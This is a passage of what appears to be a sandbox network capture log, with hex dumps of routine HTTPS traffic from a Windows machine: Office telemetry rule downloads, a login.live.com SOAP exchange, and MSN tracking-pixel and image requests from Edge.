H=}Jz<Z.aUoT4]wr8c!KB}1~}J!@8@}o'j=~P(r!\|v\\|dL.?g3nTr`?k_3Sogt=3O0ke?^7q$%9PT}@2Bhw$
2024-11-27 16:59:00 UTC	7952	IN	Data Raw: 3b 48 68 18 63 d2 41 f9 d0 01 c8 fe 20 7f 11 40 06 4f aa 50 01 c9 fe 14 a0 00 a9 fe e8 fa 83 40 09 9c 1e a6 80 1c 18 f5 24 9a 00 6b 11 9f e2 14 00 a2 5c 77 34 58 04 dc 87 f8 3f 5a 00 32 9e 87 f3 a0 03 e4 f7 fc e8 00 da 47 45 24 7d 68 01 32 a3 ef 23 0f c6 80 0c a7 6d df a5 00 2e 3d 03 50 02 64 e3 a3 d0 02 86 3f ed fe 74 00 bb 8f a3 7e 5c 50 02 6f f5 02 80 0d c8 7f 87 9f ad 00 18 cf dd 72 3d 88 fe b4 00 6d 7f 55 3f 8d 00 26 d9 3f bb fa 50 02 65 87 50 7f 5a 00 5d ed fd ef d6 80 17 73 1f e2 a0 04 67 75 fb ca 7f 2a 00 37 e4 72 ab f9 50 01 98 cf 05 82 9f 6a 00 0a b2 f2 17 70 fa e6 80 b0 d0 e0 f5 c0 34 00 f0 40 1c 80 47 d6 80 10 aa 16 c9 23 f3 a0 03 03 3c 38 fc a8 01 78 fe f1 fc 05 00 26 54 f7 3f 95 00 2e e1 fd e3 f9 d0 02 64 77 63 f4 c5 00 1c 67 82 68 01 48 2d Data Ascii: ;HhcA @OP@$k\w4X?Z2GE$}h2#m.=Pd?t~\Por=mU?&?PePZ]sgu*7rPjp4@G#<8x&T?.dwcghH-
2024-11-27 16:59:00 UTC	16288	IN	Data Raw: 3d 77 67 a0 3f 85 3f 99 a2 d7 69 0f 1f ee fe 94 d4 5b ea 5a 8b 7d 47 79 91 8f bc 0f e7 57 66 6a ae 3c 34 47 a3 b0 fd 69 ea 02 ed fe ec 83 f1 04 50 31 08 95 7f 84 91 ea 1b 34 00 df 33 9c 33 90 7d c5 02 1e 0b 63 87 cf d0 f3 f9 50 02 79 83 3c b3 7e 34 58 04 22 33 ce e2 a7 e9 40 06 d6 1f 75 e3 6f c7 14 00 a3 cd 1d 14 fe 07 34 00 85 bf bc 9f f8 ed 00 01 93 fb bf ce 80 0f 97 fb a7 f3 a0 03 09 d9 88 3e e2 80 0c 1e ee 94 00 bb 0f 66 5f a6 68 01 bb 7b 1d bf 9d 00 38 64 7f 1f eb 40 0b 96 ec e3 f3 a0 04 f9 ff 00 ba 1b f0 06 80 1a db 7f 8a 32 3d c6 45 00 28 51 c9 8d 87 d0 f0 68 00 2f 22 0f 9b 38 fa 66 8b 20 00 e9 fd d0 7e 83 14 00 b9 8f b2 91 f4 34 00 a3 69 1c 3b fd 08 06 80 13 69 1f 73 0d 40 09 e6 95 3f 32 ba 9f a6 28 00 2d bb a8 0c 3d d6 80 b8 a0 a0 fb 98 5f c4 8a Data Ascii: =wg??i[Z}GyWfj<4GiP1433}cPy<~4X"3@uo4>f_h{8d@2=E(Qh/"8f ~4i;is@?2(-=_

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:00 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 42ae9f56-701e-0001-1d37-40b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165900Z-174f78459684bddphC1EWRbht40000000x1g000000001eg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:00 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165900Z-174f78459688l8rvhC1EWRtzr000000009t000000000fqfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165900Z-174f78459685m244hC1EWRgp2c0000000x1g00000000cmyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49907	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 16:58:59 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 16:59:00 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 16:58:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C537_BAY x-ms-request-id: 65601324-f380-4715-909f-4b44167cc912 PPServer: PPV: 30 H: PH1PEPF00011ECC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:58:59 GMT Connection: close Content-Length: 11389
2024-11-27 16:59:00 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:00 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:00 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165900Z-174f7845968swgbqhC1EWRmnb40000000x9g00000000p1p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:00 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165900Z-174f7845968l4kp6hC1EWRe8840000000xc000000000qqes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49914	20.110.205.119	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:01 UTC	1279	OUT	GET /c.gif?rnd=1732733358994&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4c1f15923f004863b74adb5c0e280630&activityId=4c1f15923f004863b74adb5c0e280630&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=719CC16BB7174CB989D1790A1AC7628D&MUID=0941BF85F38264F21CE2AAC1F2AB6567 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-27 16:59:02 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0941BF85F38264F21CE2AAC1F2AB6567; domain=.msn.com; expires=Mon, 22-Dec-2025 16:59:01 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0941BF85F38264F21CE2AAC1F2AB6567; domain=c.msn.com; expires=Mon, 22-Dec-2025 16:59:01 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 04-Dec-2024 16:59:01 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 17:09:01 GMT; path=/; SameSite=None; Secure; Date: Wed, 27 Nov 2024 16:59:01 GMT Connection: close Content-Length: 42
2024-11-27 16:59:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49921	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:59:02 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 28 Oct 2024 09:34:19 GMT X-Datacenter: westus X-ActivityId: d299da65-4796-4530-b965-ab450ac4c590 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIAw X-Source-Length: 100376 Content-Length: 100376 Cache-Control: public, max-age=146235 Expires: Fri, 29 Nov 2024 09:36:17 GMT Date: Wed, 27 Nov 2024 16:59:02 GMT Connection: close
2024-11-27 16:59:02 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 16:59:02 UTC	16384	IN	Data Raw: 65 ae df 75 24 3b 65 96 c7 0b dd 49 0e 8e a8 74 75 a6 4f 9b 2b 95 1a 53 35 28 0a 3a 55 20 95 d2 98 ca 2a 39 4e 94 a2 a4 0b 20 bf a2 cf 78 c6 e0 db e3 92 d5 74 91 d1 43 78 17 3c ba 2a 4c e0 9a d4 c4 70 0b 39 ed be 5d 47 2d c2 dd 75 39 c4 c5 a6 08 c7 90 50 1e c1 8d ff 00 04 78 b3 81 a6 b9 6d f5 c8 c8 70 10 66 e6 2d 39 73 eb 16 85 10 01 3e 69 02 f8 09 be 43 11 9a d4 2d b7 6e 4a 39 69 3b ed cb b3 aa 3a 61 22 cc 80 d1 79 db 39 bd f2 85 5a 6e b5 61 ce 1a 74 e0 09 ca 63 33 27 a5 94 3d 2e b9 1e 31 cf 24 6b 3a a3 bb db 64 68 da 07 55 41 30 89 c2 d7 ec 54 31 45 4c ec 8c 8b b4 7e e9 db 28 84 a8 47 7f 7a e7 73 81 03 2f 89 e6 aa ce 84 f9 0a 6b 75 10 00 24 9c 00 19 a3 68 25 c0 5e e7 2b f6 73 54 d7 39 8e 05 a4 b4 83 63 84 74 57 df 99 fc d2 29 7b e0 33 55 a0 5c 02 48 b5 Data Ascii: eu$;eItuO+S5(:U 9N xtCx<Lp9]G-u9Pxmpf-9s>iC-nJ9i;:a"y9Znatc3'=.1$k:dhUA0T1EL~(Gzs/ku$h%^+sT9ctW){3U\H
2024-11-27 16:59:02 UTC	2977	IN	Data Raw: f8 fc 11 44 2b 4a cc 26 13 8f b4 09 0d 38 58 0b 61 84 08 f1 85 71 61 1f 68 45 61 88 4c c2 44 09 b4 ae b4 44 5e 71 f7 42 6e 9c d1 69 f1 4a c4 24 01 07 c2 2d 3d f3 65 50 a4 45 95 c2 76 32 3c 2e 8c 53 c8 54 2c 70 07 b5 3b 28 44 5b bd 11 16 8b 62 7a fd e1 36 11 b7 31 02 f9 9c ba 27 66 b2 32 e8 52 34 ab 10 2f 13 b0 cb c6 e0 ad 66 23 42 3d 30 01 b5 e4 44 df b3 2e 48 e1 54 24 31 71 8a a8 4d 84 71 3f 58 ad 63 11 08 a1 48 d2 8a 14 b6 43 62 21 2c 85 2a 15 69 4a c8 21 69 5e 1f e6 b5 8d 5a a3 87 c1 b4 e0 bb 1f 33 88 c3 a3 47 7a f4 fc 77 cc 19 c2 79 19 0f ab b7 ed 67 37 73 d8 76 af 01 ad d5 5e e7 1f 33 9c 49 71 cc 92 81 39 da a4 71 f7 66 bf 4a 7d 47 09 63 60 36 52 c9 7f ee 70 03 af d9 3f cf 87 bd 41 73 75 3b cc 40 e9 75 ca b9 b5 b1 59 c4 49 f2 0e bb fd a5 26 a5 58 b3 Data Ascii: D+J&8XaqahEaLDD^qBniJ$-=ePEv2<.ST,p;(D[bz61'f2R4/f#B=0D.HT$1qMq?XcHCb!,*iJ!i^Z3Gzwyg7sv^3Iq9qfJ}Gc`6Rp?Asu;@uYI&X
